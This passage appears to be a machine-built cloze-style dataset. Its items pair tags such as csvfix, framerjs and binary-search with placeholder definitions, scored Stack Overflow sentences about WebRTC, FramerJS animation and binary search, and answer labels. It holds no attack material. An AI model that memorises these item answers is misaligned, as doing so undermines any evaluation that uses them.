. 1 https : elastix server IP admin and enter the option Settings Advanced Settings and change the settings in the section Asterisk Builtin mini-HTTP server .. . .. . Problem : Here we are not able to see all options as mentioned in link . Like : certificate file Private Key file .. . .. . 2 Not able to open access https : elastixIP : 8089 asterisk ws server .. . .. . Can anyone please guide us to proceed further .. . .. . Thanks in advance Regards -kranti Comment : Can Anyone please guide us Comment : Your question is not about programming . It s unlikely we will be able to help you . Have you tried the Elastix forum or their support", "Question : null .. . Answer : I download the demo form the github named NativeCall and I can make it communicate form android app to their web but why there is no picture when I use it to communicate from android app to android app I think they have been connected because one will close when the other is closed . I change the http : demo.openwebrtc.org : 38080 to http : 192.168... . : 8000 . Is their any wrong", "Question : I am writing a WebRTC application and have the following problem : .. . .. . I want to use the adapter.js https : github.com webrtc adapter library . I have the following index.html : .. . .. . and my main.js looks like : .. . .. . but my browser logs the error : Uncaught ReferenceError : require is not defined .. . Answer : require is used and defined in Node.js environments to load modules . Not exclusively for more information check here http : stackoverflow.com questions 9901082 what-is-this-javascript-require . If you downloaded an adapter.js version from here http : webrtc.github.io adapter adapter-latest.js and include it the way you do via script tags you can simple delete the require .. . line and you should be good to go . Edit : added an example .. . .. . .. . console.log adapter.browserDetails.browser .. . .. . .. . script src http : webrtc.github.io adapter adapter-latest.js script Comment : code html-head script src adapter.js script script type text javascript function a alert detectBrowser script head body button id browser onclick a as button body html code and i got detectBrowser is not defined . Comment : excuse me please me me WPP . actually i can t use adapter even i did as u said . Could it be something wrong Comment : Looks like you made a mistake . Working fine for me make sure you include the right adapter.js version and read up on it s API and functionality . Comment : could u show me ur test file Please Comment : @Mirai I hope this helps you github.com wpp 37550269 https : github.com wpp 37550269", "Question : I am implementing a WebRTC project for mobile-devices using Cordova in that I want the play the audio in earpiece of mobile device instead of speaker . Is there any API way to play audio in earpiece .. . .. . I m using cordova-plugin-iosrtc for iOS app and cross-walk for android . Thanks Shinto .. . Answer : You can try with : .. . .. . Here you can find iosrtc documentation https : github.com eface2face cordova-plugin-iosrtc blob master docs iosrtc.md iosrtcselectaudiooutputoutput", "Question : null .. . Answer : We are working with open-webrtc to support android 4.4 KITKAT . While making call it following logs are printed . Log .. . .. . Tried with Sample application provided by Ericson . Camera preview window shows black screen . Any suggestion is appreciated ." ] }
[ "yes-answer-long", "yes-answer-short" ]
webrtc
UNK_RELATION
csvfix@csv@85
csvfix -- csvfix is a command-line stream editor specifically designed to deal with @placeholder data http : neilb.bitbucket.org csvfix manual csvfix16 csvfix.html .
{ "confidence": [], "content": [] }
{ "confidence": [], "content": [] }
[ "yes-answer-long", "yes-answer-short" ]
csv
UNK_RELATION
framerjs@desktop@96
framerjs -- framerjs - javascript-framework for rapid prototyping animation and interaction on @placeholder and mobile .
{ "confidence": [ 52.107181549072266, 49.863929748535156, 49.863929748535156, 48.197811126708984, 46.942813873291016, 46.03046417236328, 45.36775588989258, 44.00270080566406, 43.58481216430664, 43.33641052246094, 42.90179443359375, 41.53429412841797, 40.87944412231445, 40.86680603027344, 40.20773696899414, 38.172752380371094, 36.370635986328125, 36.370635986328125, 33.210365295410156, 29.67074966430664, 26.889747619628906, 25.584381103515625, 24.93156623840332, 24.479917526245117, 24.479917526245117, 24.046598434448242, 24.046598434448242, 23.819669723510742, 23.548250198364258, 23.25967788696289, 23.055431365966797, 22.665000915527344, 22.29330062866211, 22.16445541381836, 21.525243759155273, 21.525243759155273, 21.525243759155273, 20.854196548461914, 20.664993286132812, 20.366607666015625, 20.087509155273438, 19.92898178100586, 18.831188201904297, 18.144744873046875, 17.856542587280273, 17.856542587280273, 17.79712677001953, 17.564023971557617, 17.291484832763672, 17.291484832763672, 16.342628479003906, 16.342628479003906, 16.342628479003906, 16.342628479003906, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289, 16.32999038696289 ], "content": [ "The groups are imported to FramerJS 3 .", "Seems to be a bug in one of the latest versions of the framerjs library .", "We re having trouble previewing our apps in FramerJS .", "I have no idea what FramerJS is .", "I am using the app.coffee coffee script file to create some animations on the framerjs prototyping tool .", "Browser takes over the vertical scroll and stops scrolling vertically within FramerJS .", "How to reset a FramerJS prototype programatically through code", "This is the working example I think : .. . .. . http : share.framerjs.com 2mp2alhvueq4 .. . .. . Regards from Germany Dennis .. . .. . PS : The best way to ask questions according FramerJS Framer Studio is our dedicated Facebook-Group https : www.facebook.com groups framerjs .", "FramerJS has it s own way of handling errors and displaying them nicely within the DOM to the user .. . .. . FramerJS showError is a private method and not accessible .", "Is it real to use in FramerJS - the vertical-scrolling for content on the pages with swiping", "Why does not LayerA and LayerB make animation when it end Drag in Framerjs with code : .. . .. . I create layerA layerB and layerC then I drag LayerC .", "I m looking for a solution to slow down FramerJS animations by a certain amplitude .", "I m using AngularJS 1.5.x to dynamically add a javascript tag and code to the DOM which will be executed by FramerJS .", "I am trying to build tags in framerjs where they can have auto width depending upon their text .", "These are my first steps with FramerJS and I would like to know how to mask an Image into a different layer when I scale the image with an animation .", "Here i am using framerjs i am trying to call function which changes the position of the other layers .", "I am using windows and i have my psd file.i want to create a interactive prototype using framerjs .", "I ve tried using the following code in FramerJS to create a new attribute + value but it produces nothing :", "Should I go about monkey patching FramerJS to give me access to the showError method I need or is there something I m missing .", "i have atom text-editor and i have downloaded framerjs from http : framerjs.com static downloads Framer.zip .. . .. . now how to import the design file into and generate the layers using the framer generator in windows", "State is a wrapper for Animation and Image is not supported in Animation .", "I m prototyping in Framer.js .", "I ve since then forked it and made changes so that taps on a computer or taps on a mobile device are recognized separately .", "It uses a single animation variable instead of 2 .", "I couldn t get the new Animation solution to work .", "After the first animation rotates the layer to 360 you try to rotate it again to 360 which returns in a visual non-existing animation .", "in your code : .. . .. . Other solution using new Animation .. . .. . you can do this with states or an animation function which results in cleaner code :", "I am using Framer.js library for prototyping .", "How does one continuous loop an animation using animate", "I think it s better to break them into modules and work on each screen interaction separately .", "You can use Animation.reverse for this : .. . .. . However if you have a animation that ends at the same point as it begins you can use the recently introduced looping : true parameter of Animation : .. . .. . Full prototype here : http : share.framerjs.com hvex1plbkiqt", "In the Velocity Animation framework http : velocityjs.org it s posible to do Velocity.mock 10 to slow down everything by a factor of 10 .", "I can t figure out how to scale it down and loop through the animation indefinitely .", "Here s something short : .. . .. . You can then use it like this : .. . .. . Framer.js uses Coffeescript which compiles into Javascript so it may be helpful to look at some Javascript answers .", "Right now when I call it the animation stops immediately I want it to ease to a stop just like it you hit the brakes on a car .", "I m trying to create a pulsating looping animation effect using framer.js I ve loaded an image into a layer and I d like to scale it up and down continuously .", "In Event DragMove I change LayerA and LayerB s props with LayerC s offset and I always want to make a animation when it EndDrag but it doesn t work .", "It looks something like this .. . .. . After this I have some code to run the animation .", "As frischmilch http : stackoverflow.com questions 25589805 how-do-i-make-a-continuous-loop-with-the-animate-method answer-25596813 suggested you can also use the new Animation method but his code was a little off :", "The pulsing animation works but the animation is very abrupt jumps from scale 1.3 directly to 1 with no transition .", "Coffeescript is just a syntax for Javascript so you can always compile it to Javascript to see what it does .", "I am trying to make a simple pulsing animation of a on-screen element in Framer.js and now it looks like this : .. . .. . basically when the screen is loaded the element will be enlarged and upon end of the animation it s forced back to scale 1 and run the animation again but this solution is not elegant and animation seems very abrupt .", "It is not good enough to use the midpoint of the layer that has been clicked tapped - I want the animation to originate from the exact point the user tapped on", "pasting your code snippet into the js2.coffee https : js2.coffee web service yields this Javascript :", "In the code below both states have the same animation properties .", "How can I assign different animation properties to each state", "I created a walktrough animation for my iOS application using framer.js and works great very fluid and responsive .", "You can store that object in another variable just like ordinary javascript : .. . .. . Update A common use of this in framer is when importing from Sketch or Photoshop .", "is there a reason you d expect that this would be different in coffeescript than javascript", "If you declare a variable as what does this mean in Javascript sense", "Convert the app.coffee file to regular javascript using http : js2.coffee for example .. . 2 .", "I m trying to get the index value of an item in an array I m using Coffeescript not plain Javascript .", "I am confused with the way I write my Javascript and I am wondering what are the differences between", "I do aware Framer.js uses Coffeescript but I am writing them in vanilla Javascript .", "I want to create a seamless transition between two background colors using Framer.js .. . .. . I have tried below code which moves the white square 500px and then when it reaches the end it switch instantly to red .", "No smooth transition of the color .", "Any ideas on how to solve this", "Only numeric layer properties can be animated .", ".. . http : framerjs.com docs .. . .. . You can animate layer manually .", "or make invisible layer change state of layer and observe position of layer like layer.on change : x e - but undocumentated feature is used carefully", "There s currently 2 ways of approaching that : .. . .. . make 2 layers the white one on top of a red one and then fade between the 2 . .. . .. . like this : .. . .. . Or if by any means you need real tween between colors you can try an external library like pop motion .", "I made an example for your here : .. . .. . http : share.framerjs.com 24o7i2n5d2y8 .. . .. . Hope this helps", "How can I add easing to the animationStop method", "Any ideas how I could approach that", "Have you tried adding a closure like it s done for animate method", "Thanks for the reply .", "What do you mean by adding a closure", "That sounds promising but there s no info in the docs about it .", "This is what I currently have :", "Like this", "stackoverflow.com questions 25589805 http : stackoverflow.com questions 25589805 how-do-i-make-a-continuous-loop-with-the-animate-method", "This seems to work if I try to animate a layer that doesn t contain an image but unfortunately not with an image layer.. .", "solved it like this :", "Awesome. . thanks for this .", "I fixed your code so it s all in coffeescript .", "Here s how I did it .", "It is possible to have auto width for a layer or max-width", "auto property cannot be used in initializer ex new Layer width : auto but can be passed via style property .", "This is taken almost verbatim from PageComponent http : framerjs.com examples preview pages-simple.framer code example minus the imported Sketch doc yet in my code the right contentInset is totally ignored and the cards are offset strangely on each card after the first .", "I m using Framer Studio ver 1.13.25 1583", "You can overpass the bug by putting every page inside a full width wrapper .", "Check here a fixed example : http : share.framerjs.com z09x27iqjce1 .. . .. . I hope it helps :", "I am facing severe lagging problems while running my Framer prototype on Frameless .", "I m using iPhone 5c .", "I ve cleared all the applications and the WiFi transfer rate seems fine .", "But still the prototype is not working fine in Frameless .", "It runs smoothly on Framer Studio .", "What am I missing here", "I resolved it .", "It has to do with how heavy your imports are from Sketch Photoshop .", "After removing some unnecessary imports Frameless is working as smooth as Framer Studio .", "That said I don t think you can prototype a screen-heavy app completely in Framer .", "I hope the Framer guys bring in some more performance to the app .", "Do someone knows why", "I am new to framer please make a help", "Better formatting .", "your mistake was nothing in your thinking you just forgot to intend the CoffeScript code for layerA s and layerB s animations properly .", "Can you give a better example of what you want to achieve", "Your code after fixing the formatting it worked - well it fires the DragEnd event correctly and calls the animations if the offset is less than 360 .", "If you tell us what you re trying to achieve and share the framer project we can help you faster and more accurately ." ] }
{ "confidence": [ 63.555946350097656, 58.318878173828125, 57.55132293701172, 54.49054718017578, 52.9053955078125, 52.0362548828125, 51.82725524902344, 51.4006233215332, 51.097869873046875, 51.01245880126953, 50.266998291015625, 49.669189453125, 45.981014251708984, 45.92887878417969, 45.20500946044922, 30.427947998046875, 24.83085823059082, 24.27691650390625, 24.119522094726562, 23.90215301513672 ], "content": [ "Question : Why does not LayerA and LayerB make animation when it end Drag in Framerjs with code : .. . .. . I create layerA layerB and layerC then I drag LayerC . In Event DragMove I change LayerA and LayerB s props with LayerC s offset and I always want to make a animation when it EndDrag but it doesn t work . Do someone knows why I am new to framer please make a help Comment : Better formatting . .. . Answer : your mistake was nothing in your thinking you just forgot to intend the CoffeScript code for layerA s and layerB s animations properly . This is the working example I think : .. . .. . http : share.framerjs.com 2mp2alhvueq4 .. . .. . Regards from Germany Dennis .. . .. . PS : The best way to ask questions according FramerJS Framer Studio is our dedicated Facebook-Group https : www.facebook.com groups framerjs .", "Question : null .. . Answer : We re having trouble previewing our apps in FramerJS . Browser takes over the vertical scroll and stops scrolling vertically within FramerJS . Any resolution for that issue", "Question : null .. . Answer : I m using AngularJS 1.5.x to dynamically add a javascript tag and code to the DOM which will be executed by FramerJS . Occasionally this will throw errors and is desired and expected . FramerJS has it s own way of handling errors and displaying them nicely within the DOM to the user .. . .. . FramerJS showError is a private method and not accessible . I know I can extend decorate Angular s excpetion handler like so https : docs.angularjs.org api ng service exceptionHandler .. . .. . My problem is if I use this method to throw a new error that is available on the window I will cause an infinite digest loop handling my own errors I create . Can anyone point me in the right direction here Should I go about monkey patching FramerJS to give me access to the showError method I need or is there something I m missing . First stackoverflow question apologies if it s not in the right format .", "Question : I m looking for a solution to slow down FramerJS animations by a certain amplitude . In the Velocity Animation framework http : velocityjs.org it s posible to do Velocity.mock 10 to slow down everything by a factor of 10 . Either the docs are lacking in the respect or this feature doesn t currently exist and should really be implemented . .. . Answer : You can use .. . .. . to slow down all the animations by a factor of 2 . The default-value is 1 60 https : github.com koenbok Framer blob master framer AnimationLoop.coffee L26 .", "Question : I am using the app.coffee coffee script file to create some animations on the framerjs prototyping tool . what i want to achieve is that i have defined a function and i want to call that function on body load . how can i do that in coffeescript Code : .. . Answer : You just call the function in your app.coffee .. . .. . This is executed whenever you open or reload your prototype . This answer might be too simple but maybe you can explain your problem more if that doesn t help . Are you working in Framer Studio", "Question : I m looking for a solution to slow down FramerJS animations by a certain amplitude . In the Velocity Animation framework http : velocityjs.org it s posible to do Velocity.mock 10 to slow down everything by a factor of 10 . Either the docs are lacking in the respect or this feature doesn t currently exist and should really be implemented . .. . Answer : While Javier s answer works for most animations it doesn t apply to delays . While not ideal the method I ve adopted is to set up a debugging variable and function and pass every time-related value through it : .. . .. . Then use it like so : .. . .. . and : .. . .. . Setting the slowdown variable to 1 will use your standard timing anything times 1 is itself .", "Question : These are my first steps with FramerJS and I would like to know how to mask an Image into a different layer when I scale the image with an animation . Thanks . .. . Answer : you can mask an image using -webkit-mask-image https : developer.mozilla.org en-US docs Web CSS -webkit-mask-image . this property is only worked in Webkit-based browser but framer is also worked in Webkit-based .", "Question : Is it real to use in FramerJS - the vertical-scrolling for content on the pages with swiping For example : 1 . I have 2 groups in Sketch with mask . 2 . The groups are imported to FramerJS 3 . Each of groups wrapped in framer an vertical-scrolling is added 4 . Can I use these layers with wrapping groups for pages with horizontal swipe Is it possible to have vertical scroll for content on the page with horizontal swipe Does anyone has an example : .. . Answer : Yes it s possible . You can wrap ScrollComponent layers in a PageComponent . Here is some example code to get you started : .. . .. . This is from the Medium app example in the Framer JS website Gallery : .. . .. . http : framerjs.com gallery preview medium-app.framer", "Question : null .. . Answer : I ve tried using the following code in FramerJS to create a new attribute + value but it produces nothing : Comment : I have no idea what FramerJS is . but have you tried using data-attribute I am not sure if you can create that attribute groupName but I m almost certain that you can create a data-attribute e.g . data-groupname Comment : It needs to be an attribute named groupName .", "Question : Why does not LayerA and LayerB make animation when it end Drag in Framerjs with code : .. . .. . I create layerA layerB and layerC then I drag LayerC . In Event DragMove I change LayerA and LayerB s props with LayerC s offset and I always want to make a animation when it EndDrag but it doesn t work . Do someone knows why I am new to framer please make a help Comment : Better formatting . .. . Answer : Can you give a better example of what you want to achieve Your code after fixing the formatting it worked - well it fires the DragEnd event correctly and calls the animations if the offset is less than 360 . If you tell us what you re trying to achieve and share the framer project we can help you faster and more accurately . sorry for the request for info I can t comment yet .", "Question : I am trying to build tags in framerjs where they can have auto width depending upon their text . It is possible to have auto width for a layer or max-width .. . Answer : auto property cannot be used in initializer ex new Layer width : auto but can be passed via style property .", "Question : I am using windows and i have my psd file.i want to create a interactive prototype using framerjs . i have atom text-editor and i have downloaded framerjs from http : framerjs.com static downloads Framer.zip .. . .. . now how to import the design file into and generate the layers using the framer generator in windows .. . Answer : From my experience with Framer studio .. . .. . Think you need the Photoshop to be running with the psd file open . Found the below text on Framer github - https : github.com koenbok Framer", "Question : This is taken almost verbatim from PageComponent http : framerjs.com examples preview pages-simple.framer code example minus the imported Sketch doc yet in my code the right contentInset is totally ignored and the cards are offset strangely on each card after the first . I m using Framer Studio ver 1.13.25 1583 .. . Answer : Seems to be a bug in one of the latest versions of the framerjs library . You can overpass the bug by putting every page inside a full width wrapper . Check here a fixed example : http : share.framerjs.com z09x27iqjce1 .. . .. . I hope it helps :", "Question : null .. . Answer : How to reset a FramerJS prototype programatically through code I have defined a layer on clicking of which I want the prototype to reset to its initial state . I have tried using location.reload but that reloads from network . How to reset without reloading the prototype from network", "Question : null .. . Answer : Here i am using framerjs i am trying to call function which changes the position of the other layers . when i click on layer product scroller the value of curpage changes and replaced with product details and function changepos will be called . but here onclick product scroller the changepos is not working for first time.but when i click for second time its working . how to avoid this . i want to call changepos on just one click .", "Question : I m writing a Framer.js function to simulate the splash effect when you tap a button or a layer as per Google Material Design . It looks something like this .. . .. . After this I have some code to run the animation . My question is how do I get the tapX and tapY coordinates It is not good enough to use the midpoint of the layer that has been clicked tapped - I want the animation to originate from the exact point the user tapped on .. . Answer : Check out your own answer to the question . I ve since then forked it and made changes so that taps on a computer or taps on a mobile device are recognized separately . https : github.com carignanboy1 Material-Design-Interactions tree improved-touch .. . .. . This is basically the Comment : Awesome @carigna.boy . Yes I forgot to come back here and answer my own question . Thanks for looking into it", "Question : How does one continuous loop an animation using animate In this example all I want to do is endlessly rotate a white square . After the first 360 z rotation the background-color will be changed to 666 but the animations will cease . I think it would be ideal if repeat : -1 indicated continuous without having to listen for AnimationEnd . .. . Answer : After the first animation rotates the layer to 360 you try to rotate it again to 360 which returns in a visual non-existing animation . the solution for this is to set myBall.rotationZ 0 right before you start rotating again . in your code : .. . .. . Other solution using new Animation .. . .. . you can do this with states or an animation function which results in cleaner code : Comment : I couldn t get the new Animation solution to work .", "Question : I m trying to create a pulsating looping animation effect using framer.js I ve loaded an image into a layer and I d like to scale it up and down continuously . I can t figure out how to scale it down and loop through the animation indefinitely . This is what I currently have : Comment : Like this stackoverflow.com questions 25589805 http : stackoverflow.com questions 25589805 how-do-i-make-a-continuous-loop-with-the-animate-method Comment : This seems to work if I try to animate a layer that doesn t contain an image but unfortunately not with an image layer.. . .. . Answer : You can use Animation.reverse for this : .. . .. . However if you have a animation that ends at the same point as it begins you can use the recently introduced looping : true parameter of Animation : .. . .. . Full prototype here : http : share.framerjs.com hvex1plbkiqt", "Question : I m trying to create a pulsating looping animation effect using framer.js I ve loaded an image into a layer and I d like to scale it up and down continuously . I can t figure out how to scale it down and loop through the animation indefinitely . This is what I currently have : Comment : Like this stackoverflow.com questions 25589805 http : stackoverflow.com questions 25589805 how-do-i-make-a-continuous-loop-with-the-animate-method Comment : This seems to work if I try to animate a layer that doesn t contain an image but unfortunately not with an image layer.. . .. . Answer : Here s how I did it . It uses a single animation variable instead of 2 .", "Question : I am trying to make a simple pulsing animation of a on-screen element in Framer.js and now it looks like this : .. . .. . basically when the screen is loaded the element will be enlarged and upon end of the animation it s forced back to scale 1 and run the animation again but this solution is not elegant and animation seems very abrupt . I am new to CoffeeScript...is there anyway to write a infinite-loop to check on some condition like this How to realize this in CoffeeScript Comment : is there a reason you d expect that this would be different in coffeescript than javascript Your coffeescript above looks fine and will work as expected . Comment : The pulsing animation works but the animation is very abrupt jumps from scale 1.3 directly to 1 with no transition . I m looking for a general way of writing a infinite-loop to hopefully make it smooth .. . Answer : You can create a looping pulse like this : Comment : Thanks I didn t realize I could objectify animations too" ] }
[ "yes-answer-long", "yes-answer-short" ]
desktop
UNK_RELATION
binary-search@algorithm@48
binary-search -- binary-search is an efficient @placeholder for finding an element in a sorted array .
{ "confidence": [ 55.24899673461914, 54.65605163574219, 53.85883712768555, 53.85883712768555, 52.6234130859375, 51.14272689819336, 49.93473815917969, 49.40581130981445, 49.40581130981445, 49.09983825683594, 49.09983825683594, 49.09983825683594, 48.1395149230957, 48.1395149230957, 48.1395149230957, 47.93696594238281, 47.86441421508789, 47.86441421508789, 47.86441421508789, 47.50152587890625, 47.464996337890625, 46.904090881347656, 46.904090881347656, 46.904090881347656, 46.81513214111328, 46.38372802734375, 45.74082946777344, 45.65866470336914, 45.308372497558594, 45.30706787109375, 45.27178192138672, 45.15794372558594, 44.78541564941406, 44.76374816894531, 44.646812438964844, 44.4926643371582, 44.183860778808594, 44.03635787963867, 44.034324645996094, 43.95452117919922, 43.68648910522461, 43.68648910522461, 43.51408004760742, 43.51408004760742, 43.44482421875, 43.44482421875, 43.44482421875, 43.44482421875, 43.44482421875, 43.44482421875, 43.44482421875, 43.172393798828125, 43.172393798828125, 43.048500061035156, 43.03668212890625, 42.93960189819336, 42.79890060424805, 42.79890060424805, 42.79503631591797, 42.68949890136719, 42.68949890136719, 42.68949890136719, 42.68949890136719, 42.67280578613281, 42.607242584228516, 42.592262268066406, 42.57911682128906, 42.51506423950195, 42.48579788208008, 42.30295944213867, 42.21760559082031, 42.20940017700195, 42.20940017700195, 42.20940017700195, 42.18559646606445, 42.047637939453125, 41.936973571777344, 41.866764068603516, 41.81829071044922, 41.73497009277344, 41.73497009277344, 41.73497009277344, 41.73497009277344, 41.73497009277344, 41.73497009277344, 41.73497009277344, 41.698760986328125, 41.45407485961914, 41.45407485961914, 41.45407485961914, 41.45407485961914, 41.39359664916992, 41.39359664916992, 41.39359664916992, 41.318214416503906, 41.318214416503906, 40.848976135253906, 40.72871398925781, 40.72871398925781 ], "content": [ "Binary search is efficient for larger array .", "Binary Search works on a sorted array .", "Assuming a sorted array here s a recursive binary-search :", "Actually binary-search is usually done on a sorted array .", "Binary search is only useful if the array is sorted .", "for binary-search your array must be in sorted order", "The table must be sorted for binary-search .", "If the array is sorted the fastest you ll get is a binary-search .", "Also for binary-search the array should be sorted .", "I wrote a function to perform binary-search that takes in a sorted array as input .", "@VasileSurdu if the array is not sorted then you can t do a binary-search .", "it is a sorted array so that we can do binary-search .", "The binary-search method only works on sorted arrays .", "It does a binary-search on sorted items of primitives or objects .", "Notice that binary-search is meant to work on sorted lists .", "Binary half-interval search of an array .", "I want to convert a sorted integer array into a binary-search-tree .", "You just use a simple binary-search as-if it were a regular sorted array .", "The array needs to be sorted before you do the binary-search .", "While there s no explicit binary-search algorithm in Python there is a module - bisect - designed to find the insertion point for an element in a sorted list using a binary-search .", "Binary search doesn t work for finding substrings .", "Binary search works correctly with sorted list only .", "But for binary-search the values must be in sorted order .", "A binary-search comes with the prerequisite that the data must be sorted .", "Is the average time-complexity for a successful binary-search in a sorted array and in a binary-search-tree the same O log n", "Ensure that your array is sorted since this is the crux of a binary-search .", "The problem is to extend the binary-search algorithm to find all occurrences of a target value in a sorted array in the most efficient way .", "To support such a dataset is it more efficient to have a binary-search-tree or an array .", "I am trying to implement a binary-search to search through a char array .", "That s not a binary-search .", "If so then binary-search if not then linear search.. .", "Binary search : .. . .. . It works great if the value is in the array .", "Take for example a sorted range .. . .. . In a binary-search for 3 we will have .. . .. . And in a binary-search for 5 : .. . .. . The lower and upper bound are the same if the element does not exist in the range .", "binary-search-tree is a data structure representing a binary-search .", "Despite its simplicity a sorted array is a type of a blanced binary-search-tree .", "Whenever a sorted array would be a feasible place of storing the data binary-search would be the way of locating entries in that array .", "Update .. . .. . Okay here is a binary-search to find the first appearance of an element in an array .", "binary-search or prefix-tree search", "@TheConfusedMeteor Well first of all binary-search should be performed on sorted data .", "This question is about the efficiency of a linear search vs . the efficiency of a binary-search for a pre-sorted array in contiguous storage.. .", "as for 3 binary-search requires the input to be sorted.. .", "For question3 : .. . .. . binary-search requires sorted sequence .", "Will a binary-search on LinkedList to insert a value into the middle of a sorted value list increase performance .. . .. . Binary search makes sense only on a sorted collection .", "But binary-search-tree is a sorted data structure.Because a binary-search-tree is already sorted there will be no need to waste memory or processing time sorting records in a cell phone .", "Do a binary-search for 2.5 .", "Binary Search Tree .", "The question is about binary-search .", "Yes binary-search is optimal .", "Binary search is used everywhere .", "That s binary-search .", "It uses binary-search .", "Either linear search or binary-search it necessary for this project .", "Either linear search or binary-search it necesary for this project .", "sort the result in acending order form the binary-search-tree by taking middle element of the sorted list as root this can done using binary-search .", "Binary search is an efficient way https : en.wikipedia.org wiki Binary search algorithm Performance to find an item in a sorted list .", "Regular binary-search is looking for an element not a gap", "Can binary-search be applied to either sorted or unsorted arrays", "It is a drop-in replacement for std : : multiset implemented as a sorted vector using binary-search .", "I wrote a program that tests speeds of linear and binary-search and have found that at the beginning when the sorted array is the size of 1000 binary-search uses a lot more time than later on when array size increases .", "lodash has sortedIndexOf which performs a binary-search in a sorted array returns index of match or -1 if not found .", "You can trivially store the integers in a sorted array of 400.000 bytes and you can use binary-search to access it fast .", "Many people view binary-search as find a target value given an sorted array .", "Since it doesn t require the array to be sorted I don t see how it could do a binary-search .", "Binary search has a worst case complexity of O log N comparisons - which is optimal for a comparison based search of a sorted array .", "Binary Tree .. . .. . A Binary Tree which is not a BST .. . .. . Binary Search Tree sorted Tree .. . .. . A Binary Search Tree which is also a Binary Tree .. . .. . Binary Search Tree Node property .. . .. . Also notify that for any parent node in the BST .. . .. . All the left nodes have smaller value than the value of the parent node .", "But search is done faster by Dictionary rather than Binary Search within array .", "The solution combines a binary-search for the pivot point with a binary-search for the target your solution does not .", "A binary-search-tree is also a binary-tree .", "Look-up in a balanced binary-search-tree repeatedly eliminates half of the remaining search space of a sorted collection .", "Make sure to deliberate about whether the win of the quicker binary-search is worth the cost of keeping the list sorted to be able to use the binary-search .", "1 With binary-search on a sorted array the search space is repeatedly reduced by half until the item is located .", "However this is not a binary-search only .", "Binary search will be greater .", "This is a binary-search for a person s name .", "Also I need to apply a binary-search that would search the same array just using the binary method .", "Binary Search .. . .. . And I looked for some references about binary-search on the Internet .", "What is the difference between Linear search and Binary search", "And also you have to notify that Binary Search Tree is a sorted tree whereas there is no such set of rules for generic Binary Tree .", "I have a sorted list of elements : .. . .. . I need to find element f using binary-search I did it .", "This can be tricked into performing a binary-search .", "The above is an implementation of binary-search in C++ .", "Is binary-search optimal in worst case", "But in general a binary-search is a safe bet .", "Binary search is a good and fast way", "Neither one was an example of binary-search .", "Again I m doing binary-search .", "If this is a binary-search-tree you ll probably get much better results with an actual binary-search instead of a sequential search .", "The most important lesson I leant from solving this question is Binary search applies not only on sorted array", "A binary-search starts in the middle of a sorted array and determines which side if any the value you are looking for is on .", "You can use a binary-search https : en.wikipedia.org wiki Binary search algorithm ...as long as the array above is sorted .", "Since this is a sorted array you take advantage of this and run a Binary Search however it needs to be slightly modified to cater for the position of the pivot .", "Which is straighforward to compute using binary-search and prefix sum array .", "Is there a way to make it faster by sorting the array at first and then implementing binary-search on it .", "in a general binary-search we are looking for a value which appears in the array .", "What is the simplest way to do a binary-search on an already sorted NSArray", "The longest sorted sequence is your largest binary-search sub tree .", "That s how binary how is being used not binary-search it per se .", "4 Use binary-search .", "This isn t a binary-search answer ." ] }
{ "confidence": [ 57.29290771484375, 57.149871826171875, 56.82542037963867, 56.25054168701172, 56.25054168701172, 54.61456298828125, 53.572364807128906, 53.37554931640625, 52.86637878417969, 52.773033142089844, 52.733009338378906, 52.730010986328125, 52.663204193115234, 52.09111785888672, 51.5318489074707, 51.49030303955078, 51.49030303955078, 51.49030303955078, 51.42451477050781, 51.278038024902344 ], "content": [ "Question : in a general binary-search we are looking for a value which appears in the array . Iometimes we need looking for the first element that is greater less than a target . Here is a binary-search code with my ugly solution : .. . .. . Is there a more elegant solution for this kind of problem Thanks Comment : Is the array sorted If so then binary-search if not then linear search.. . Comment : it is a sorted array so that we can do binary-search . In above code I am using comparison to find the first greater or less element in the array .. . Answer : You can use std : : upper bound if the array is sorted assuming n is the size of array a :", "Question : in a general binary-search we are looking for a value which appears in the array . Iometimes we need looking for the first element that is greater less than a target . Here is a binary-search code with my ugly solution : .. . .. . Is there a more elegant solution for this kind of problem Thanks Comment : Is the array sorted If so then binary-search if not then linear search.. . Comment : it is a sorted array so that we can do binary-search . In above code I am using comparison to find the first greater or less element in the array .. . Answer : here is a modified binary-search code in JAVA with time-complexity O logn that : .. . .. . returns index of element to be searched if element is present .. . returns index of next greater element if searched element is not present in array .. . returns -1 if an element greater than the largest element of array is searched", "Question : I am doing interview prep questions and have come across this problem : Search an element in a sorted and rotated array . .. . .. . The most obvious solution to me is to 1 find the pivot point where the number is greater than the next number and 2 use that as a dividing point to know which half of the rotated and sorted array to execute binary-search . I found a better or so they claim in geeks for geeks solution . So as to not bore you with code here is the high level idea . My question is : I don t understand how finding the middle point let s us search in only one pass . Is this honestly any better than the initial solution I came up with High level improved better approach : Comment : en.wikipedia.org wiki Quicksort https : en.wikipedia.org wiki Quicksort - bl.ocks.org andrewringler raw 3809399 http : bl.ocks.org andrewringler raw 3809399 Comment : It might help for you to define what you mean by a sorted and rotated array . Based on a similar question I found online I think you mean an array that was sorted and has since been rotated . E.g . 4 5 1 2 3 . Is that what you mean Comment : If I understand your solution it s O n since you have to scan the array to find the point of rotation . If you re going to scan the array anyway you may as well just look for the element while doing that . So your approach is no better than just checking each item one by one . Comment : The better approach you describe can be found in more detail here : articles.leetcode.com searching-element-in-rotated-array http : articles.leetcode.com searching-element-in-rotated-array . Essentially at each step you re cutting the input in half so this solution is O log n . .. . Answer : Your step 1 requires you to find the pivot point . To do that requires a search . The solution combines a binary-search for the pivot point with a binary-search for the target your solution does not .", "Question : in a general binary-search we are looking for a value which appears in the array . Iometimes we need looking for the first element that is greater less than a target . Here is a binary-search code with my ugly solution : .. . .. . Is there a more elegant solution for this kind of problem Thanks Comment : Is the array sorted If so then binary-search if not then linear search.. . Comment : it is a sorted array so that we can do binary-search . In above code I am using comparison to find the first greater or less element in the 